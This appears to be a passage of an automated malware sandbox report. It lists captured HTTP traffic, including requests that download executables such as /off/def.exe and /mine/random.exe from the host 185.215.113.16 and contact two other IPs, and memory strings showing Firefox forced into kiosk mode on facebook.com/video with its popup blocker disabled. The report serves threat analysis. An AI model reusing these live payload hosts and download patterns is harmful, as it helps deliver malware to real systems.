Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000023.00000002.2307139634.00000215D3320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blocking equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.2307139634.00000215D3320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://www.facebook.com/video" --no-default-browser-check --disable-popup-blockingc equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2314277428.000001C00AE90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevation equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.2314277428.000001C00AE90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking --attempting-deelevation`A equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2459673235.000001F83036B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2459178191.000001F830150000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://www.facebook.com/video --no-default-browser-check --disable-popup-blocking equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2553564650.00002F89BE100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %.www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://ads.stickyadstv.com/auto-user-synchttps://ads.stickyadstv.com/firefox-etp://ads.stickyadstv.com/user-matching://.adsafeprotected.com//imp/://.adsafeprotected.com//Serving/://.adsafeprotected.com/jload?*://pubads.g.doubleclick.net/gampad/ad*://pubads.g.doubleclick.net/gampad/ad-blk://trends.google.com/trends/embed://www.facebook.com/platform/impression.php*://pubads.g.doubleclick.net/gampad/xml_vmap1*enableTelemetryRecording - canRecordBase: equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2540749250.000001F848BA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2521141866.000001F8426E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2386907180.000001F8426E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2495374485.000001F840D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: .S........[tlsflags0x00000000]www.facebook.com:443^partitionKey=%28https%2Cfacebook.com%29 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 6https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 6https://www.facebook.com/Z equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 6https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.2553564650.00002F89BE100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 7https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000002.2553725833.000036E847500000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 7www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000003.2385768926.000001F8433D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2525004594.000001F8433D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8:https://www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2537182494.000001F848AFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000003.2385768926.000001F8433D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2535737946.000001F84886A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2535737946.000001F848814000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2385768926.000001F8433D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2537182494.000001F848AFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2461387139.000001F83BB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000003.2385255730.000001F8438DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2472850400.000001F83E8E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2535737946.000001F848814000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000025.00000003.2385255730.000001F8438DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2496596781.000001F84123D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2492115044.000001F8407CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000003.2385255730.000001F8438DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8~predictor-origin,:https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000003.2385768926.000001F8433D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2525004594.000001F8433D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: :https://www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2548149367.000001F84A25F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: >https://www.facebook.com/video equals www.facebook.com (Facebook)
Source: firefox.exe, 00000025.00000002.2464871503.000001F83C579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/uriloader/handler-service;1browser.fixup.dns_first_for_single_words^([a-z+.-]+:\/{0,3})([^\/@]+@).+releaseDistinctSystemPrincipalLoaderJSON Viewer's onSave failed in startPersistence^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$devtools/client/framework/devtoolsbrowser.urlbar.dnsResolveFullyQualifiedNamesdevtools/client/framework/devtools-browser@mozilla.org/dom/slow-script-debug;1Failed to execute WebChannel callback:^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?browser.fixup.domainsuffixwhitelist.DevTools telemetry entry point failed: get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUP@mozilla.org/network/protocol;1?name=defaultdevtools.debugger.remote-websocketUnable to start devtools server on get FIXUP_FLAGS_MAKE_ALTERNATE_URI{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}DevToolsStartup.jsm:handleDebuggerFlagresource://devtools/server/devtools-server.jsGot invalid request to save JSON dataresource://devtools/shared/security/socket.jsdevtools.performance.recording.ui-base-urldevtools.performance.popup.feature-flagFailed to listen. Listener already attached.Failed to listen. Callback argument missing.No callback set for this channel.WebChannel/this._originCheckCallback@mozilla.org/network/protocol;1?name=fileresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%sgecko.handlerService.defaultHandlersVersion_injectDefaultProtocolHandlersIfNeededhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjshttp://poczta.interia.pl/mh/?mailto=%sget FIXUP_FLAG_FORCE_ALTERNATE_URIScheme should be either http or httpshttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/JSONFile.sys.mjsextractScheme/fixupChangedProtocol<{33d75835-722f-42c0-89cc-44f328e56a86}https://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this typeCan't invoke URIFixup in the content 